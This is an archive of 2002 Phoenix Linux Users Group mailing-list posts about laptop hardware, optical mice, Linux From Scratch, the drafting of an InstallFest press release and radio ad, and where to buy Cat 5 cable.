PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:20:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 20:20:27 -0400 Subject: OT: Laptop Parts References: <200206022202.SAA22895@hostinworld6.com> Message-ID: <3CFAB64B.9B97A826@georgetoft.com> Something to keep in mind is that some Laptop BIOS' won't let you change hard drives, or they will limit the size. I've had two laptops - one allowed two sizes, and the other was flexible. You might want to research that first. George "Bryce C." wrote: > > After being on vacation for a week, I have finally returned home to find > myself reading >700 e-mails. (For those interested, it was divided about > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > to play the the laptop I bought on vacation (yes, work is never far) and > I'm now working on scrounging parts for it. It cost about $90 and the > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > it's been used. This is a Dell Latitude XP 4100CX laptop running a > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > first, can anyone tell me of a good place for a replacement battery > cheap. Its has been toasted (memory thing) and it really isn't all that > useful w/o a battery. I've got a couple bids on eBay but I was hoping > for something a little more immediate. Second, I'd like a larger HD for > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > distro disks to the HD so I can install packages on the road. Can > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > possibly their price & size. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:19:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 2 Jun 2002 17:19:52 -0700 Subject: Optical Mice and Linux References: Message-ID: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Ok. So I have a rather pertinent question. Anyone use one of the Microsoft Optical Mice with thier linux distro? if so, how do you like it. I have a KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I am using two mice, my optical for my Win2K box and my POS intellimouse for my RH box. However I HATE the RH mouse, its jerky and not smooth at all. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:31:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 17:31:09 -0700 Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> References: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> Message-ID: <0206021731090T.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Gentoo On Sunday 02 June 2002 17:00, you wrote: > I for one would like to install Linux --- on an empty hard drive > without any operating system on it and only use source code, no distro. > > It's easy, for the most part, to install from a CD and get any distro > up and running, but I sure would like to start from scratch. > > I did check out LFS and I must have a Linux partition in order to > install. > > Any pointers where to get some HowTo's or info on this? > > TIA > > FrankM > > On Sun, 2002-06-02 at 09:12, William Lindley wrote: > > On Sat, 1 Jun 2002, David Uhlman wrote: > > > one can make [one's] own LFS from a stock redhat or mandrake etc. > > > Start with an installed copy of the base system on a clean drive and > > > build package by package until you get where you want to go > > > > That's a great way to tear apart a distro like RedHat and see what makes > > it tick. You will learn plenty, 'tho not quite the same things you'd > > learn with a totally From Scratch approach. Consider these two > > approaches: > > > > A. Start with a 1957 Chevy Bel Air. > > Remove the engine. > > Replace one part at a time on the engine, making sure > > the engine continues to work after each new part. > > Reinstall the engine. > > Drive away. > > > > B. Start with a bare engine block and a barrel full of Chevy parts. > > Using only an exploded diagram, assemble a working engine. > > Find a 1957 Chevy Bel Air frame at the junkyard, and > > several "hulks" from which you can pull body parts. > > Pull pieces from the hulks and add them to your masterpiece. > > Drive away. > > > > Both approaches have their advantages, depending on what you want to > > learn. > > > > \\/ > > http://www.wlindley.com > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPq4zSsk3ywszI1FEQIZbACeOSBphTL2L2fAL7xdDYYMyJqhAIgAoNC6 CTD83PGfbRbh/0JvgIojMNe0 =Ygc+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:49:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 17:49:26 -0700 (MST) Subject: Fwd: FW: InstallFest Press Release RC2 In-Reply-To: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Message-ID: Am 01. Jun, 2002 schwätzte dennisk@sahuaro.f2s.com so: > Here are Bill's changes to the Press Release for comment. This version is > based on Victor's suggestion to make the press release more newsworthy. > > So, hwich version do we want to run with - this one? Or what's currently > posted on the PLUG site? I'd say go with this version. Please capitalize Free Software and Open Source whereever they appear. > === > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely > available operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of Let's leave out the 'in many cases'. "After the InstallFest, people who brought their computers can go home with GNU/Linux installed on their machines, free of charge." The FAQ on the web site should mention that there aren't any guarantees and we shouldn't explicitly guarantee anything in the press release, but can leave off most of the exception clauses. > charge. The package includes web browsers, word processors, and other > usual tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." Maybe make a more active intro of Bill: "PLUG's organizer for the event, computer consultant William Lindley, said, "This is what the Free Software community...." > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other "open source" and "free software" systems > do not require any licensing or upgrade fees, and are said by many experts > to be more efficient and secure than Windows systems. > > Businesses and home users alike are turning to free software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term "free software" actually refers to > freedom from license restrictions: Users are never asked to click "I > Agree" to a list of prohibitions before using it, and organizations need > not store "Certificates of Authenticity" in their safe deposit boxes in > case of an audit. > > The free software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their > computers to the event. Usually, only the computer box, monitor, keyboard > and mouse need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a really important next step in development of computers and the > Internet -- making them more affordable and more secure," Lindley said. > "We are here to show how easy it can be for computer users to move up to > the next level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open > Source software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and open source software; to share problems and solutions, This should be either 'several meetings' or 'on both the East and West sides' because the sentence above indicates that we have several meetings on the East side and several meetings on the West side. We might want to replace Phoenix with 'the Valley'. > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion > list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several free software events. Please add blurbs about our other sponsors and mention them somewhere in the press release. That's why their in it. Not sure we should have the blurbs for every sponsor, but they should definitely get mentioned in the press release. News agencies can cut what we have, but are unlikely to add what we don't. Also, much of this is still gonna be word of mouth, so let's make sure it's a mouthful :). Hmm, maybe we should get a quote from Thurman about SCC being happy to host the event. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 17:57:55 -0700 (MST) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: Am 02. Jun, 2002 schwätzte Matt Alexander so: > The InstallFest Radio Ad RC1 is available for download at: > > http://plug.netpro.to/radio/ Sounds good. Please add that it's at SCC. In the text version, please capitalize Free Software. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:02:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 2 Jun 2002 18:02:19 -0700 Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: References: Message-ID: <1023066139.3cfac01b0d6d6@webmail.freedom2surf.net> Quoting Matt Alexander : > The InstallFest Radio Ad RC1 is available for download at: > > http://plug.netpro.to/radio/ Loved it!! From the tone I half expect Tux to be there in his monster truck steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:27:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 18:27:46 -0700 (PDT) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: On Sun, 2 Jun 2002, der.hans wrote: > Am 02. Jun, 2002 schwätzte Matt Alexander so: > > > The InstallFest Radio Ad RC1 is available for download at: > > > > http://plug.netpro.to/radio/ > > Sounds good. Please add that it's at SCC. Will do. > In the text version, please capitalize Free Software. OK, but I don't think the radio listeners will be able to tell. ;-) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:43:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sun, 2 Jun 2002 18:43:15 -0700 Subject: Optical Mice and Linux In-Reply-To: <00c001c20a94$67b1ac50$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Message-ID: <200206021843.17079.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 02 June 2002 17:19, Dr.G wrote: > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > Optical Mice with thier linux distro? if so, how do you like it. I have a > KVM set up right now but my Optical mouse is usb while the KVM requires > PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I > am using two mice, my optical for my Win2K box and my POS intellimouse for > my RH box. However I HATE the RH mouse, its jerky and not smooth at all. Since you already have an optical mouse, I will assume you are not talking about performance. In terms of configuration and setup, it uses the exact same protocols as the Intellimouse (assuming you have the newer ones with a wheel) so that no adjustments are necessary. Well, we will have to reconfigure your /dev/mouse to point to the USB mouse, but that is easy. Anyways, they work great. I have used few MS Optical, a Belkin optical, and a few of the Logitech optical without any problems. As the cliche goes, I'm never going back to a ball mouse again! - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8+smzpNoctRtUIRQRApp5AJ9kKDJ3x0k4kMCAZB1JI9xNQwNorACfQneE ulAJqonWPoUt+ZOgyhMyAz0= =JUS+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:50:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 18:50:04 -0700 (PDT) Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <1023066139.3cfac01b0d6d6@webmail.freedom2surf.net> Message-ID: On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > Quoting Matt Alexander : > > > The InstallFest Radio Ad RC1 is available for download at: > > > > http://plug.netpro.to/radio/ > > Loved it!! From the tone I half expect Tux to be there in his monster truck > steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! As you wish: http://plug.netpro.to/radio/monster-truck-version.mp3 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 01:55:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 02 Jun 2002 18:55:15 -0700 Subject: OT: Laptop Parts In-Reply-To: <3CFAB64B.9B97A826@georgetoft.com> References: <200206022202.SAA22895@hostinworld6.com> <3CFAB64B.9B97A826@georgetoft.com> Message-ID: <200206030159.VAA11411@hostinworld6.com> Thanks but I've already tested that out and researched. My friend has a 4Gb, 6Gb and a 20Gb and the laptop suffers from the age old 8Gb limit. Other than that, the BIOS is fine. Thanks. On 02 Jun 2002 20:20:27 -0400, George Toft wrote: > Something to keep in mind is that some Laptop BIOS' won't let you > change hard drives, or they will limit the size. I've had two > laptops - one allowed two sizes, and the other was flexible. > You might want to research that first. > > George > > > "Bryce C." wrote: > > > > After being on vacation for a week, I have finally returned home to find > > myself reading >700 e-mails. (For those interested, it was divided about > > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > > to play the the laptop I bought on vacation (yes, work is never far) and > > I'm now working on scrounging parts for it. It cost about $90 and the > > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > > it's been used. This is a Dell Latitude XP 4100CX laptop running a > > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > > first, can anyone tell me of a good place for a replacement battery > > cheap. Its has been toasted (memory thing) and it really isn't all that > > useful w/o a battery. I've got a couple bids on eBay but I was hoping > > for something a little more immediate. Second, I'd like a larger HD for > > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > > distro disks to the HD so I can install packages on the road. Can > > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > > possibly their price & size. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:19:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 2 Jun 2002 19:19:09 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: References: Message-ID: <1023070749.3cfad21deb98e@webmail.freedom2surf.net> Quoting Matt Alexander : > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > http://plug.netpro.to/radio/ > > > > Loved it!! From the tone I half expect Tux to be there in his monster > truck > > steamrolling over discarded Windoze CD's to the cheers of a delighted > crowd! > > As you wish: > > http://plug.netpro.to/radio/monster-truck-version.mp3 Great!! LOL!! Should I post a link on /.? Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:33:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 02 Jun 2002 19:33:07 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: Message-ID: <3CFAD563.5D6F471E@leml.asu.edu> Matt Alexander wrote: > > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > http://plug.netpro.to/radio/ > > > > Loved it!! From the tone I half expect Tux to be there in his monster truck > > steamrolling over discarded Windoze CD's to the cheers of a delighted crowd! > > As you wish: > > http://plug.netpro.to/radio/monster-truck-version.mp3 ummm... huh. Maybe we could get some people together to make a spinnoff paridy of Ozzy Fudd (the Wabbit Swawer) doing "Kill da Wabbit". Each of the distro's could be a different sigger -- I see it now the battle of the Tux's and M$!!!! ... Gentoo: Pink Tux (after Pink Floyd) ... Debian: Tux Manson (after Marolyn Manson) ... Linux router project: Tuxstien (after Romstien) and yes, you to can nominat your own favorite Tux's for the battle of the distro's vs/ the evil M$ ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 02:47:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Sun, 2 Jun 2002 19:47:03 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> Message-ID: <001101c20aa8$f1605140$c801a8c0@sctdl1.az.home.com> I've used both an MS Optical and a Logitech Optical....They both work great. Go with the Logitech... ----- Original Message ----- From: Voltage Spike To: Sent: Sunday, June 02, 2002 6:43 PM Subject: Re: Optical Mice and Linux > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Sunday 02 June 2002 17:19, Dr.G wrote: > > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > > Optical Mice with thier linux distro? if so, how do you like it. I have a > > KVM set up right now but my Optical mouse is usb while the KVM requires > > PS/2 and i refuse to use a USB to PS/2 converter if I don't have to, so I > > am using two mice, my optical for my Win2K box and my POS intellimouse for > > my RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > Since you already have an optical mouse, I will assume you are not talking > about performance. > > In terms of configuration and setup, it uses the exact same protocols as the > Intellimouse (assuming you have the newer ones with a wheel) so that no > adjustments are necessary. Well, we will have to reconfigure your /dev/mouse > to point to the USB mouse, but that is easy. > > Anyways, they work great. I have used few MS Optical, a Belkin optical, and a > few of the Logitech optical without any problems. As the cliche goes, I'm > never going back to a ball mouse again! > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE8+smzpNoctRtUIRQRApp5AJ9kKDJ3x0k4kMCAZB1JI9xNQwNorACfQneE > ulAJqonWPoUt+ZOgyhMyAz0= > =JUS+ > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 03:42:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 2 Jun 2002 20:42:51 -0700 (MST) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: Am 02. Jun, 2002 schwätzte Matt Alexander so: > On Sun, 2 Jun 2002, der.hans wrote: > > In the text version, please capitalize Free Software. > > OK, but I don't think the radio listeners will be able to tell. ;-) Yeah, but we want to put the text and the mp3 up on the web site. Actually, we should be putting up an ogg and mp3 if we feel we need to. ciao, der.hans -- # https://www.LuftHans.com/ # The Internet is the front line of the battle # to protect our freedom. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:40:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 2 Jun 2002 21:40:04 -0700 (PDT) Subject: cat 5 cable Message-ID: <20020603044004.47573.qmail@web21205.mail.yahoo.com> does anyone know a place in town to get about 75-100 feet of cat 5 cable fairly cheap? or if anyone has a spare cable lying around they arent using i would be willing to buy it off you :) __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:45:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 21:45:24 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> <001101c20aa8$f1605140$c801a8c0@sctdl1.az.home.com> Message-ID: <3CFAF464.40501@deru.com> Bob Cober wrote: > ... Go with the Logitech... > I 2nd that. We have three of them here and they have all worked well for a long time - wheels and all. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 04:51:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sun, 02 Jun 2002 21:51:38 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <3CFAF5DA.F485739D@qwest.net> Radioshack? robert jorgenson wrote: > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: 02 Jun 2002 22:18:07 -0700 Subject: cat 5 cable In-Reply-To: <20020603044004.47573.qmail@web21205.mail.yahoo.com> References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <1023081487.16377.5.camel@localhost.localdomain> Email me - I'm in chandler though. gary AT linuxforce.org On Sun, 2002-06-02 at 21:40, robert jorgenson wrote: > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:33:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 01:33:50 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <3CFAFFBE.31D0EC95@georgetoft.com> robert jorgenson wrote: > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Fry's. Radio Shack in Mesa (by the police department). George From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:53:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 22:53:31 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAFFBE.31D0EC95@georgetoft.com> Message-ID: <3CFB045B.2030007@deru.com> George Toft wrote: > Fry's. Radio Shack in Mesa (by the police department). If you are refering to the big radioshack.com store at Southern and Country Club ... It is gone. Tandy closed all of the .com stores - Denver, Atlanta and here ;-( . Their final day of business was Mar 31, I believe. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 05:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 2 Jun 2002 22:54:35 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <3CFAD563.5D6F471E@leml.asu.edu> References: <3CFAD563.5D6F471E@leml.asu.edu> Message-ID: <200206022254.35078.dennisk@sahuaro.f2s.com> On Sunday 02 June 2002 07:33 pm, John (EBo) David wrote: > Matt Alexander wrote: > > On Sun, 2 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > Quoting Matt Alexander : > > > > The InstallFest Radio Ad RC1 is available for download at: > > > > > > > > http://plug.netpro.to/radio/ > > > > > > Loved it!! From the tone I half expect Tux to be there in his monster > > > truck steamrolling over discarded Windoze CD's to the cheers of a > > > delighted crowd! > > > > As you wish: > > > > http://plug.netpro.to/radio/monster-truck-version.mp3 > > ummm... huh. Maybe we could get some people together to make a spinnoff > paridy of Ozzy Fudd (the Wabbit Swawer) doing "Kill da Wabbit". Each of > the distro's could be a different sigger -- I see it now the battle of > the Tux's and M$!!!! > > ... Gentoo: Pink Tux (after Pink Floyd) > ... Debian: Tux Manson (after Marolyn Manson) > ... Linux router project: Tuxstien (after Romstien) > > > and yes, you to can nominat your own favorite Tux's for the battle of > the distro's vs/ the evil M$ ;-) > > EBo -- We take you now live to Caesar's Palace for the Monster Truck Face-Off!! Tonight's match is between the "Gates from Hell X Truck" and the "Roaring Penquin". Now down to the field for our pre-game show. ANNOUNCER: "Matt, how is this grudge match between the Gates truck and the Penquin shaping up?" MATT: "Gates took quite a beating from the Penquin last time out, but tonight the M$ Team has a brand new truck. A lot of money went into this baby, you can be sure of that!" ANS: "Gates has spared no expense on the finish, but it takes more than good looks to beat the Penquin. What is Gates' advantage this time, Matt?" MATT: Well, Gates is being pretty secretive about what's under the hood. It will take more than good looks to beat the Penquin., that's for sure. The reboot in the final seconds of the last round cost Gates dearly." ANS: "That's right, the Penquin sure knows how to get the last ounce of performance from any hardware at hand. Oh, oh, I head a commotion down in the Linux pit. What's going on Matt? MATT: RMS has just walked into the pit and is demanding that the name of the truck be changed!" ANS: Isn't that Linux Torvalds standing off to the side?" MATT: "Yes. Linus, what's your reaction to this confrontation? "It's just a name, I don't care what it is called." ANS: We'll be right back after this public service announcement from the BSA." From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 12:19:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 3 Jun 2002 05:19:25 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> Message-ID: <021401c20af8$e77cd400$42c8a8c0@schnauzer> Home Depot sells it by the foot ----- Original Message ----- From: "robert jorgenson" To: Sent: Sunday, June 02, 2002 9:40 PM Subject: cat 5 cable does anyone know a place in town to get about 75-100 feet of cat 5 cable fairly cheap? or if anyone has a spare cable lying around they arent using i would be willing to buy it off you :) __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 12:23:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 08:23:03 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAFFBE.31D0EC95@georgetoft.com> <3CFB045B.2030007@deru.com> Message-ID: <3CFB5FA7.45189E9D@georgetoft.com> Bummer. That was the one I was referring to. They had everything - a bit overpriced, but at least they had it. George Kevin wrote: > > George Toft wrote: > > > Fry's. Radio Shack in Mesa (by the police department). > > If you are refering to the big radioshack.com store at Southern and Country > Club ... It is gone. Tandy closed all of the .com stores - Denver, Atlanta and > here ;-( . Their final day of business was Mar 31, I believe. > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > 